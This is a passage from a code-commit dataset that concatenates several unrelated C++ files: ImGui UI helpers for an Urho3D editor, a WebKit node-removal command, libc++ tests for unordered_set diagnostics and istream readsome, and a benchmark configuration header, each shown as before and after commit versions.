}\n\nprotected:\n \/\/\/ User state pointer.\n void* state_ = nullptr;\n \/\/\/ Function that handles deleting state object when it becomes unused.\n void(*deleter_)(void* state) = nullptr;\n \/\/\/ Frame when value was last used.\n int lastUse_ = 0;\n};\n\nstatic HashMap<ImGuiID, UIStateWrapper> uiState_;\nstatic int uiStateLastGcFrame_ = 0;\n\nvoid SetUIStateP(void* state, void(*deleter)(void*))\n{\n auto id = ui::GetCurrentWindow()->IDStack.back();\n uiState_[id].Set(state, deleter);\n}\n\nvoid* GetUIStateP()\n{\n void* result = nullptr;\n auto id = ui::GetCurrentWindow()->IDStack.back();\n auto it = uiState_.Find(id);\n if (it != uiState_.End())\n result = it->second_.Get();\n\n int currentFrame = ui::GetCurrentContext()->FrameCount;\n if (uiStateLastGcFrame_ != currentFrame)\n {\n uiStateLastGcFrame_ = currentFrame;\n for (auto jt = uiState_.Begin(); jt != uiState_.End();)\n {\n if (jt->second_.IsExpired())\n {\n jt->second_.Unset();\n jt = uiState_.Erase(jt);\n }\n else\n ++jt;\n }\n }\n\n return result;\n}\n\nvoid ExpireUIStateP()\n{\n auto it = uiState_.Find(ui::GetCurrentWindow()->IDStack.back());\n if (it != uiState_.End())\n {\n it->second_.Unset();\n uiState_.Erase(it);\n }\n}\n\nint DoubleClickSelectable(const char* label, bool* p_selected, ImGuiSelectableFlags flags, const ImVec2& size)\n{\n bool wasSelected = p_selected && *p_selected;\n if (ui::Selectable(label, p_selected, flags | ImGuiSelectableFlags_AllowDoubleClick, size))\n {\n if (wasSelected && ui::IsMouseDoubleClicked(MOUSEB_LEFT))\n return 2;\n else\n return 1;\n }\n if (ui::IsItemHovered() && ui::IsMouseClicked(MOUSEB_RIGHT))\n {\n *p_selected = true;\n return 1;\n }\n return 0;\n}\n\nint DoubleClickSelectable(const char* label, bool selected, ImGuiSelectableFlags flags, const ImVec2& size)\n{\n return DoubleClickSelectable(label, &selected, flags, size);\n}\n\nbool CollapsingHeaderSimple(const char* label, ImGuiTreeNodeFlags flags)\n{\n ImGuiWindow* window = ui::GetCurrentWindow();\n if (window->SkipItems)\n return false;\n\n ui::PushStyleColor(ImGuiCol_HeaderActive, 0);\n ui::PushStyleColor(ImGuiCol_HeaderHovered, 0);\n ui::PushStyleColor(ImGuiCol_Header, 0);\n bool open = ui::TreeNodeBehavior(window->GetID(label), flags | ImGuiTreeNodeFlags_NoAutoOpenOnLog | ImGuiTreeNodeFlags_NoTreePushOnOpen, label);\n ui::PopStyleColor(3);\n return open;\n}\n\nbool ToolbarButton(const char* label)\n{\n auto& g = *ui::GetCurrentContext();\n float dimension = g.FontBaseSize + g.Style.FramePadding.y * 2.0f;\n return ui::ButtonEx(label, {0, dimension}, ImGuiButtonFlags_PressedOnClick);\n}\n\nvoid SetHelpTooltip(const char* text, Key requireKey)\n{\n unsigned scancode = requireKey & (~SDLK_SCANCODE_MASK);\n if (ui::IsItemHovered() && (requireKey == KEY_UNKNOWN || ui::IsKeyDown(scancode)))\n ui::SetTooltip(\"%s\", text);\n}\n\nbool IconButton(const char* label)\n{\n float size = ui::GetItemRectSize().y;\n return ui::Button(label, {size, size});\n}\n\nbool MaskSelector(unsigned int* mask)\n{\n bool modified = false;\n auto style = ui::GetStyle();\n auto pos = ui::GetCursorPos();\n\n for (auto row = 0; row < 2; row++)\n {\n for (auto col = 0; col < 16; col++)\n {\n auto bitPosition = row * 16 + col;\n int bitMask = 1 << bitPosition;\n bool selected = (*mask & bitMask) != 0;\n if (selected)\n {\n ui::PushStyleColor(ImGuiCol_Button, style.Colors[ImGuiCol_ButtonActive]);\n ui::PushStyleColor(ImGuiCol_ButtonHovered, style.Colors[ImGuiCol_ButtonActive]);\n }\n else\n {\n ui::PushStyleColor(ImGuiCol_Button, style.Colors[ImGuiCol_Button]);\n ui::PushStyleColor(ImGuiCol_ButtonHovered, style.Colors[ImGuiCol_Button]);\n }\n\n ui::PushID(bitMask);\n if (ui::Button(\"\", {8_dpx, 9_dpy}))\n {\n modified = true;\n *mask ^= bitMask;\n }\n if (ui::IsItemHovered())\n ui::SetTooltip(\"%d\", bitPosition);\n ui::PopID();\n ui::SameLine(0, 0);\n ui::PopStyleColor(2);\n }\n ui::NewLine();\n if (row < 1)\n ui::SetCursorPos({pos.x, pos.y + 9_dpy});\n }\n\n return modified;\n}\n\nenum TransformResizeType\n{\n RESIZE_NONE = 0,\n RESIZE_LEFT = 1,\n RESIZE_RIGHT = 2,\n RESIZE_TOP = 4,\n RESIZE_BOTTOM = 8,\n RESIZE_MOVE = 15,\n};\n\n}\n\/\/\/ Flag manipuation operators.\nURHO3D_FLAGSET_EX(ImGui, TransformResizeType, TransformResizeTypeFlags);\n\nnamespace ImGui\n{\n\/\/\/ Hashing function which enables use of enum type as a HashMap key.\ninline unsigned MakeHash(const TransformResizeType& value) { return value; }\n\nbool TransformRect(IntRect& inOut, TransformSelectorFlags flags)\n{\n IntRect delta;\n return TransformRect(inOut, delta, flags);\n}\n\nbool TransformRect(Urho3D::IntRect& inOut, Urho3D::IntRect& delta, TransformSelectorFlags flags)\n{\n struct State\n {\n \/\/\/ A flag indicating type of resize action currently in progress\n TransformResizeTypeFlags resizing_ = RESIZE_NONE;\n \/\/\/ A cache of system cursors\n HashMap<TransformResizeTypeFlags, SDL_Cursor*> cursors_;\n \/\/\/ Default cursor shape\n SDL_Cursor* cursorArrow_;\n \/\/\/ Flag indicating that this selector set cursor handle\n bool ownsCursor_ = false;\n\n State()\n {\n cursors_[RESIZE_MOVE] = SDL_CreateSystemCursor(SDL_SYSTEM_CURSOR_SIZEALL);\n cursors_[RESIZE_LEFT] = cursors_[RESIZE_RIGHT] = SDL_CreateSystemCursor(SDL_SYSTEM_CURSOR_SIZEWE);\n cursors_[RESIZE_BOTTOM] = cursors_[RESIZE_TOP] = SDL_CreateSystemCursor(SDL_SYSTEM_CURSOR_SIZENS);\n cursors_[RESIZE_TOP | RESIZE_LEFT] = cursors_[RESIZE_BOTTOM | RESIZE_RIGHT] = SDL_CreateSystemCursor(\n SDL_SYSTEM_CURSOR_SIZENWSE);\n cursors_[RESIZE_TOP | RESIZE_RIGHT] = cursors_[RESIZE_BOTTOM | RESIZE_LEFT] = SDL_CreateSystemCursor(\n SDL_SYSTEM_CURSOR_SIZENESW);\n cursorArrow_ = SDL_CreateSystemCursor(SDL_SYSTEM_CURSOR_ARROW);\n }\n\n ~State()\n {\n SDL_FreeCursor(cursorArrow_);\n for (const auto& it : cursors_)\n SDL_FreeCursor(it.second_);\n }\n };\n\n Input* input = ui::GetSystemUI()->GetSubsystem<Input>();\n\n auto renderHandle = [&](IntVector2 screenPos, int wh) -> bool {\n IntRect rect(\n screenPos.x_ - wh \/ 2,\n screenPos.y_ - wh \/ 2,\n screenPos.x_ + wh \/ 2,\n screenPos.y_ + wh \/ 2\n );\n\n if (!(flags & TSF_HIDEHANDLES))\n {\n ui::GetWindowDrawList()->AddRectFilled(ToImGui(rect.Min()), ToImGui(rect.Max()),\n ui::GetColorU32(ToImGui(Color::RED)));\n }\n\n return rect.IsInside(input->GetMousePosition()) == INSIDE;\n };\n\n auto size = inOut.Size();\n auto handleSize = Max(Min(Min(size.x_ \/ 4, size.y_ \/ 4), 8), 2);\n bool modified = false;\n\n auto* s = ui::GetUIState<State>();\n auto id = ui::GetID(s);\n\n \/\/ Extend rect to cover resize handles that are sticking out of ui element boundaries.\n auto extendedRect = inOut + IntRect(-handleSize \/ 2, -handleSize \/ 2, handleSize \/ 2, handleSize \/ 2);\n ui::ItemSize(ToImGui(inOut));\n if (ui::ItemAdd(ToImGui(extendedRect), id))\n {\n TransformResizeTypeFlags resizing = RESIZE_NONE;\n if (renderHandle(inOut.Min() + size \/ 2, handleSize))\n resizing = RESIZE_MOVE;\n\n bool canResizeHorizontal = !(flags & TSF_NOHORIZONTAL);\n bool canResizeVertical = !(flags & TSF_NOVERTICAL);\n\n if (canResizeHorizontal && canResizeVertical)\n {\n if (renderHandle(inOut.Min(), handleSize))\n resizing = RESIZE_LEFT | RESIZE_TOP;\n if (renderHandle(inOut.Min() + IntVector2(0, size.y_), handleSize))\n resizing = RESIZE_LEFT | RESIZE_BOTTOM;\n if (renderHandle(inOut.Min() + IntVector2(size.x_, 0), handleSize))\n resizing = RESIZE_TOP | RESIZE_RIGHT;\n if (renderHandle(inOut.Max(), handleSize))\n resizing = RESIZE_BOTTOM | RESIZE_RIGHT;\n }\n\n if (canResizeHorizontal)\n {\n if (renderHandle(inOut.Min() + IntVector2(0, size.y_ \/ 2), handleSize))\n resizing = RESIZE_LEFT;\n if (renderHandle(inOut.Min() + IntVector2(size.x_, size.y_ \/ 2), handleSize))\n resizing = RESIZE_RIGHT;\n }\n\n if (canResizeVertical)\n {\n if (renderHandle(inOut.Min() + IntVector2(size.x_ \/ 2, 0), handleSize))\n resizing = RESIZE_TOP;\n if (renderHandle(inOut.Min() + IntVector2(size.x_ \/ 2, size.y_), handleSize))\n resizing = RESIZE_BOTTOM;\n }\n\n \/\/ Draw rect around selected element\n ui::GetWindowDrawList()->AddRect(ToImGui(inOut.Min()), ToImGui(inOut.Max()),\n ui::GetColorU32(ToImGui(Color::RED)));\n\n \/\/ Reset mouse cursor if we are not hovering any handle and are not resizing\n if (resizing == RESIZE_NONE && s->resizing_ == RESIZE_NONE && s->ownsCursor_)\n {\n SDL_SetCursor(s->cursorArrow_);\n s->ownsCursor_ = false;\n }\n\n \/\/ Prevent interaction when something else blocks inactive transform.\n if (s->resizing_ != RESIZE_NONE || (ui::IsItemHovered(ImGuiHoveredFlags_RectOnly) &&\n (!ui::IsWindowHovered(ImGuiHoveredFlags_AnyWindow) || ui::IsWindowHovered())))\n {\n \/\/ Set mouse cursor if handle is hovered or if we are resizing\n if (resizing != RESIZE_NONE && !s->ownsCursor_)\n {\n SDL_SetCursor(s->cursors_[resizing]);\n s->ownsCursor_ = true;\n }\n\n \/\/ Begin resizing\n if (ui::IsMouseClicked(0))\n s->resizing_ = resizing;\n\n IntVector2 d = ToIntVector2(ui::GetIO().MouseDelta);\n if (s->resizing_ != RESIZE_NONE)\n {\n ui::SetActiveID(id, ui::GetCurrentWindow());\n if (!ui::IsMouseDown(0))\n s->resizing_ = RESIZE_NONE;\n else if (d != IntVector2::ZERO)\n {\n delta = IntRect::ZERO;\n\n if (s->resizing_ == RESIZE_MOVE)\n {\n delta.left_ += d.x_;\n delta.right_ += d.x_;\n delta.top_ += d.y_;\n delta.bottom_ += d.y_;\n modified = true;\n }\n else\n {\n if (s->resizing_ & RESIZE_LEFT)\n {\n delta.left_ += d.x_;\n modified = true;\n }\n else if (s->resizing_ & RESIZE_RIGHT)\n {\n delta.right_ += d.x_;\n modified = true;\n }\n\n if (s->resizing_ & RESIZE_TOP)\n {\n delta.top_ += d.y_;\n modified = true;\n }\n else if (s->resizing_ & RESIZE_BOTTOM)\n {\n delta.bottom_ += d.y_;\n modified = true;\n }\n }\n }\n }\n else if (ui::IsItemActive())\n ui::SetActiveID(0, ui::GetCurrentWindow());\n\n if (modified)\n inOut += delta;\n }\n else if (ui::IsItemActive())\n ui::SetActiveID(0, ui::GetCurrentWindow());\n }\n return modified;\n}\n\nSystemUI* GetSystemUI()\n{\n return static_cast<SystemUI*>(ui::GetIO().UserData);\n}\n\nbool EditorToolbarButton(const char* text, const char* tooltip, bool active)\n{\n const auto& style = ui::GetStyle();\n if (active)\n ui::PushStyleColor(ImGuiCol_Button, style.Colors[ImGuiCol_ButtonActive]);\n else\n ui::PushStyleColor(ImGuiCol_Button, style.Colors[ImGuiCol_Button]);\n bool result = ui::ToolbarButton(text);\n ui::PopStyleColor();\n ui::SameLine(0, 0);\n if (ui::IsItemHovered() && tooltip)\n ui::SetTooltip(\"%s\", tooltip);\n return result;\n}\n\nvoid OpenTreeNode(ImGuiID id)\n{\n auto& storage = ui::GetCurrentWindow()->DC.StateStorage;\n if (!storage->GetInt(id))\n {\n storage->SetInt(id, true);\n ui::TreePushRawID(id);\n }\n}\n\n}\n<|endoftext|>"} {"text":"<commit_before>\/*\n * Copyright (C) 2005, 2008 Apple Inc. All rights reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions\n * are met:\n * 1. Redistributions of source code must retain the above copyright\n * notice, this list of conditions and the following disclaimer.\n * 2. Redistributions in binary form must reproduce the above copyright\n * notice, this list of conditions and the following disclaimer in the\n * documentation and\/or other materials provided with the distribution.\n *\n * THIS SOFTWARE IS PROVIDED BY APPLE COMPUTER, INC. ``AS IS'' AND ANY\n * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\n * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR\n * PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL APPLE COMPUTER, INC. OR\n * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,\n * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,\n * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR\n * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY\n * OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE\n * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n *\/\n\n#include \"config.h\"\n#include \"core\/editing\/RemoveNodeCommand.h\"\n\n#include \"bindings\/v8\/ExceptionStatePlaceholder.h\"\n#include \"core\/dom\/Node.h\"\n#include \"wtf\/Assertions.h\"\n\nnamespace WebCore {\n\nRemoveNodeCommand::RemoveNodeCommand(PassRefPtr<Node> node, ShouldAssumeContentIsAlwaysEditable shouldAssumeContentIsAlwaysEditable)\n : SimpleEditCommand(node->document())\n , m_node(node)\n , m_shouldAssumeContentIsAlwaysEditable(shouldAssumeContentIsAlwaysEditable)\n{\n ASSERT(m_node);\n ASSERT(m_node->parentNode());\n}\n\nvoid RemoveNodeCommand::doApply()\n{\n ContainerNode* parent = m_node->parentNode();\n if (!parent || (m_shouldAssumeContentIsAlwaysEditable == DoNotAssumeContentIsAlwaysEditable\n && !parent->isContentEditable(Node::UserSelectAllIsAlwaysNonEditable) && parent->attached()))\n return;\n ASSERT(parent->isContentEditable(Node::UserSelectAllIsAlwaysNonEditable) || !parent->attached());\n\n m_parent = parent;\n m_refChild = m_node->nextSibling();\n\n m_node->remove(IGNORE_EXCEPTION);\n}\n\nvoid RemoveNodeCommand::doUnapply()\n{\n RefPtr<ContainerNode> parent = m_parent.release();\n RefPtr<Node> refChild = m_refChild.release();\n if (!parent || !parent->rendererIsEditable())\n return;\n\n parent->insertBefore(m_node.get(), refChild.get(), IGNORE_EXCEPTION, DeprecatedAttachNow);\n}\n\n#ifndef NDEBUG\nvoid RemoveNodeCommand::getNodesInCommand(HashSet<Node*>& nodes)\n{\n addNodeAndDescendants(m_parent.get(), nodes);\n addNodeAndDescendants(m_refChild.get(), nodes);\n addNodeAndDescendants(m_node.get(), nodes);\n}\n#endif\n\n}\n<commit_msg>RemoveNodeCommand should attach lazily.<commit_after>\/*\n * Copyright (C) 2005, 2008 Apple Inc. All rights reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions\n * are met:\n * 1. Redistributions of source code must retain the above copyright\n * notice, this list of conditions and the following disclaimer.\n * 2. Redistributions in binary form must reproduce the above copyright\n * notice, this list of conditions and the following disclaimer in the\n * documentation and\/or other materials provided with the distribution.\n *\n * THIS SOFTWARE IS PROVIDED BY APPLE COMPUTER, INC. ``AS IS'' AND ANY\n * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\n * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR\n * PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL APPLE COMPUTER, INC. OR\n * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,\n * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,\n * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR\n * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY\n * OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE\n * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n *\/\n\n#include \"config.h\"\n#include \"core\/editing\/RemoveNodeCommand.h\"\n\n#include \"bindings\/v8\/ExceptionStatePlaceholder.h\"\n#include \"core\/dom\/Node.h\"\n#include \"wtf\/Assertions.h\"\n\nnamespace WebCore {\n\nRemoveNodeCommand::RemoveNodeCommand(PassRefPtr<Node> node, ShouldAssumeContentIsAlwaysEditable shouldAssumeContentIsAlwaysEditable)\n : SimpleEditCommand(node->document())\n , m_node(node)\n , m_shouldAssumeContentIsAlwaysEditable(shouldAssumeContentIsAlwaysEditable)\n{\n ASSERT(m_node);\n ASSERT(m_node->parentNode());\n}\n\nvoid RemoveNodeCommand::doApply()\n{\n ContainerNode* parent = m_node->parentNode();\n if (!parent || (m_shouldAssumeContentIsAlwaysEditable == DoNotAssumeContentIsAlwaysEditable\n && !parent->isContentEditable(Node::UserSelectAllIsAlwaysNonEditable) && parent->attached()))\n return;\n ASSERT(parent->isContentEditable(Node::UserSelectAllIsAlwaysNonEditable) || !parent->attached());\n\n m_parent = parent;\n m_refChild = m_node->nextSibling();\n\n m_node->remove(IGNORE_EXCEPTION);\n}\n\nvoid RemoveNodeCommand::doUnapply()\n{\n RefPtr<ContainerNode> parent = m_parent.release();\n RefPtr<Node> refChild = m_refChild.release();\n if (!parent || !parent->rendererIsEditable())\n return;\n\n parent->insertBefore(m_node.get(), refChild.get(), IGNORE_EXCEPTION);\n}\n\n#ifndef NDEBUG\nvoid RemoveNodeCommand::getNodesInCommand(HashSet<Node*>& nodes)\n{\n addNodeAndDescendants(m_parent.get(), nodes);\n addNodeAndDescendants(m_refChild.get(), nodes);\n addNodeAndDescendants(m_node.get(), nodes);\n}\n#endif\n\n}\n<|endoftext|>"} {"text":"<commit_before>\/\/===----------------------------------------------------------------------===\/\/\n\/\/\n\/\/ The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file is dual licensed under the MIT and the University of Illinois Open\n\/\/ Source Licenses. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n\/\/ REQUIRES: diagnose-if-support\n\/\/ UNSUPPORTED: c++98, c++03\n\n\/\/ Libc++ only provides a defined primary template for std::hash in C++14 and\n\/\/ newer.\n\/\/ UNSUPPORTED: c++11\n\n\/\/ <unordered_set>\n\n\/\/ Test that we generate a reasonable diagnostic when the specified hash is\n\/\/ not enabled.\n\n#include <unordered_set>\n#include <utility>\n\nusing VT = std::pair<int, int>;\n\nstruct BadHashNoCopy {\n BadHashNoCopy() = default;\n BadHashNoCopy(BadHashNoCopy const&) = delete;\n\n template <class T>\n size_t operator()(T const&) const { return 0; }\n};\n\nstruct BadHashNoCall {\n\n};\n\n\nstruct GoodHashNoDefault {\n explicit GoodHashNoDefault(void*) {}\n template <class T>\n size_t operator()(T const&) const { return 0; }\n};\n\nint main() {\n\n {\n using Set = std::unordered_set<VT>;\n Set s; \/\/ expected-error@__hash_table:* {{the specified hash does not meet the Hash requirements}}\n\n\n \/\/ FIXME: It would be great to suppress the below diagnostic all together.\n \/\/ but for now it's sufficient that it appears last. However there is\n \/\/ currently no way to test the order diagnostics are issued.\n \/\/ expected-error@memory:* {{call to implicitly-deleted default constructor of 'std::__1::hash<std::__1::pair<int, int> >'}}\n }\n {\n using Set = std::unordered_set<int, BadHashNoCopy>;\n Set s; \/\/ expected-error@__hash_table:* {{the specified hash does not meet the Hash requirements}}\n }\n {\n using Set = std::unordered_set<int, BadHashNoCall>;\n Set s; \/\/ expected-error@__hash_table:* {{the specified hash does not meet the Hash requirements}}\n }\n {\n using Set = std::unordered_set<int, GoodHashNoDefault>;\n Set s(\/*bucketcount*\/42, GoodHashNoDefault(nullptr));\n }\n}\n<commit_msg>Update tests -verify error messages after r300140.<commit_after>\/\/===----------------------------------------------------------------------===\/\/\n\/\/\n\/\/ The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file is dual licensed under the MIT and the University of Illinois Open\n\/\/ Source Licenses. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n\/\/ REQUIRES: diagnose-if-support\n\/\/ UNSUPPORTED: c++98, c++03\n\n\/\/ Libc++ only provides a defined primary template for std::hash in C++14 and\n\/\/ newer.\n\/\/ UNSUPPORTED: c++11\n\n\/\/ <unordered_set>\n\n\/\/ Test that we generate a reasonable diagnostic when the specified hash is\n\/\/ not enabled.\n\n#include <unordered_set>\n#include <utility>\n\nusing VT = std::pair<int, int>;\n\nstruct BadHashNoCopy {\n BadHashNoCopy() = default;\n BadHashNoCopy(BadHashNoCopy const&) = delete;\n\n template <class T>\n size_t operator()(T const&) const { return 0; }\n};\n\nstruct BadHashNoCall {\n\n};\n\n\nstruct GoodHashNoDefault {\n explicit GoodHashNoDefault(void*) {}\n template <class T>\n size_t operator()(T const&) const { return 0; }\n};\n\nint main() {\n\n {\n using Set = std::unordered_set<VT>;\n Set s; \/\/ expected-error@__hash_table:* {{the specified hash does not meet the Hash requirements}}\n\n\n \/\/ FIXME: It would be great to suppress the below diagnostic all together.\n \/\/ but for now it's sufficient that it appears last. However there is\n \/\/ currently no way to test the order diagnostics are issued.\n \/\/ expected-error@memory:* {{call to implicitly-deleted default constructor of '__compressed_pair_elem}}\n }\n {\n using Set = std::unordered_set<int, BadHashNoCopy>;\n Set s; \/\/ expected-error@__hash_table:* {{the specified hash does not meet the Hash requirements}}\n }\n {\n using Set = std::unordered_set<int, BadHashNoCall>;\n Set s; \/\/ expected-error@__hash_table:* {{the specified hash does not meet the Hash requirements}}\n }\n {\n using Set = std::unordered_set<int, GoodHashNoDefault>;\n Set s(\/*bucketcount*\/42, GoodHashNoDefault(nullptr));\n }\n}\n<|endoftext|>"} {"text":"<commit_before>\/\/===----------------------------------------------------------------------===\/\/\n\/\/\n\/\/ The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file is dual licensed under the MIT and the University of Illinois Open\n\/\/ Source Licenses. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n\/\/ <istream>\n\n\/\/ streamsize readsome(char_type* s, streamsize n);\n\n#include <istream>\n#include <cassert>\n\ntemplate <class CharT>\nstruct testbuf\n : public std::basic_streambuf<CharT>\n{\n typedef std::basic_string<CharT> string_type;\n typedef std::basic_streambuf<CharT> base;\nprivate:\n string_type str_;\npublic:\n\n testbuf() {}\n testbuf(const string_type& str)\n : str_(str)\n {\n base::setg(const_cast<CharT*>(str_.data()),\n const_cast<CharT*>(str_.data()),\n const_cast<CharT*>(str_.data()) + str_.size());\n }\n\n CharT* eback() const {return base::eback();}\n CharT* gptr() const {return base::gptr();}\n CharT* egptr() const {return base::egptr();}\n};\n\nint main()\n{\n {\n testbuf<char> sb(\" 1234567890\");\n std::istream is(&sb);\n char s[5];\n assert(is.readsome(s, 5) == 5);\n assert(!is.eof());\n assert(!is.fail());\n assert(std::string(s, 5) == \" 1234\");\n assert(is.gcount() == 5);\n is.readsome(s, 5);\n assert(!is.eof());\n assert(!is.fail());\n assert(std::string(s, 5) == \"56789\");\n assert(is.gcount() == 5);\n is.readsome(s, 5);\n assert(!is.eof());\n assert(!is.fail());\n assert(is.gcount() == 1);\n assert(std::string(s, 1) == \"0\");\n }\n {\n testbuf<wchar_t> sb(L\" 1234567890\");\n std::wistream is(&sb);\n wchar_t s[5];\n assert(is.readsome(s, 5) == 5);\n assert(!is.eof());\n assert(!is.fail());\n assert(std::wstring(s, 5) == L\" 1234\");\n assert(is.gcount() == 5);\n is.readsome(s, 5);\n assert(!is.eof());\n assert(!is.fail());\n assert(std::wstring(s, 5) == L\"56789\");\n assert(is.gcount() == 5);\n is.readsome(s, 5);\n assert(!is.eof());\n assert(!is.fail());\n assert(is.gcount() == 1);\n assert(std::wstring(s, 1) == L\"0\");\n }\n}\n<commit_msg>Test case for http:\/\/llvm.org\/bugs\/show_bug.cgi?id=14670.<commit_after>\/\/===----------------------------------------------------------------------===\/\/\n\/\/\n\/\/ The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file is dual licensed under the MIT and the University of Illinois Open\n\/\/ Source Licenses. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n\/\/ <istream>\n\n\/\/ streamsize readsome(char_type* s, streamsize n);\n\n#include <istream>\n#include <cassert>\n\ntemplate <class CharT>\nstruct testbuf\n : public std::basic_streambuf<CharT>\n{\n typedef std::basic_string<CharT> string_type;\n typedef std::basic_streambuf<CharT> base;\nprivate:\n string_type str_;\npublic:\n\n testbuf() {}\n testbuf(const string_type& str)\n : str_(str)\n {\n base::setg(const_cast<CharT*>(str_.data()),\n const_cast<CharT*>(str_.data()),\n const_cast<CharT*>(str_.data()) + str_.size());\n }\n\n CharT* eback() const {return base::eback();}\n CharT* gptr() const {return base::gptr();}\n CharT* egptr() const {return base::egptr();}\n};\n\nint main()\n{\n {\n testbuf<char> sb(\" 1234567890\");\n std::istream is(&sb);\n char s[5];\n assert(is.readsome(s, 5) == 5);\n assert(!is.eof());\n assert(!is.fail());\n assert(std::string(s, 5) == \" 1234\");\n assert(is.gcount() == 5);\n is.readsome(s, 5);\n assert(!is.eof());\n assert(!is.fail());\n assert(std::string(s, 5) == \"56789\");\n assert(is.gcount() == 5);\n is.readsome(s, 5);\n assert(!is.eof());\n assert(!is.fail());\n assert(is.gcount() == 1);\n assert(std::string(s, 1) == \"0\");\n assert(is.readsome(s, 5) == 0);\n }\n {\n testbuf<wchar_t> sb(L\" 1234567890\");\n std::wistream is(&sb);\n wchar_t s[5];\n assert(is.readsome(s, 5) == 5);\n assert(!is.eof());\n assert(!is.fail());\n assert(std::wstring(s, 5) == L\" 1234\");\n assert(is.gcount() == 5);\n is.readsome(s, 5);\n assert(!is.eof());\n assert(!is.fail());\n assert(std::wstring(s, 5) == L\"56789\");\n assert(is.gcount() == 5);\n is.readsome(s, 5);\n assert(!is.eof());\n assert(!is.fail());\n assert(is.gcount() == 1);\n assert(std::wstring(s, 1) == L\"0\");\n assert(is.readsome(s, 5) == 0);\n }\n}\n<|endoftext|>"} {"text":"<commit_before>\/\/ Copyright 2016 Alessio Sclocco <a.sclocco@vu.nl>\n\/\/\n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/ you may not use this file except in compliance with the License.\n\/\/ You may obtain a copy of the License at\n\/\/\n\/\/ http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\n\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/ See the License for the specific language governing permissions and\n\/\/ limitations under the License.\n\n#ifndef CONFIGURATION_TUNEBENCH_HPP\n#define CONFIGURATION_TUNEBENCH_HPP\n\n\/\/ Define the data types\ntypedef float inputDataType;\nstd::string inputDataName(\"float\");\ntypedef float outputDataType;\nstd::string outputDataName(\"float\");\n\n\/\/ Magic value\nconst unsigned int magicValue = 42;\n\n\/\/ MD\nconst float LJ1 = 1.5f;\nconst float LJ2 = 2.0f;\n\n\/\/ Correlator\nconst unsigned int nrPolarizations = 2;\n\n#endif \/\/ CONFIGURATION_TUNEBENCH_HPP\n\n<commit_msg>Forgot to move one constant.<commit_after>\/\/ Copyright 2016 Alessio Sclocco <a.sclocco@vu.nl>\n\/\/\n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/ you may not use this file except in compliance with the License.\n\/\/ You may obtain a copy of the License at\n\/\/\n\/\/ http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\n\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/ See the License for the specific language governing permissions and\n\/\/ limitations under the License.\n\n#ifndef CONFIGURATION_TUNEBENCH_HPP\n#define CONFIGURATION_TUNEBENCH_HPP\n\n\/\/ Define the data types\ntypedef float inputDataType;\nstd::string inputDataName(\"float\");\ntypedef float outputDataType;\nstd::string outputDataName(\"float\");\n\n\/\/ Magic value\nconst unsigned int magicValue = 42;\n\n\/\/ Triad\nconst unsigned int factor = 42;\n\n\/\/ MD\nconst float LJ1 = 1.5f;\nconst float LJ2 = 2.0f;\n\n\/\/ Correlator\nconst unsigned int nrPolarizations = 2;\n\n#endif \/\/ CONFIGURATION_TUNEBENCH_HPP\n\n<|endoftext|>"} {"text":"<commit_before>\/*\n * Copyright (c) 2011, Willow Garage, Inc.\n * All rights reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions are met:\n *\n * * Redistributions of source code must retain the above copyright\n * notice, this list of conditions and the following disclaimer.\n * * Redistributions in binary form must reproduce the above copyright\n * notice, this list of conditions and the following disclaimer in the\n * documentation and\/or other materials provided with the distribution.\n * * Neither the name of the Willow Garage, Inc. nor the names of its\n * contributors may be used to endorse or promote products derived from\n * this software without specific 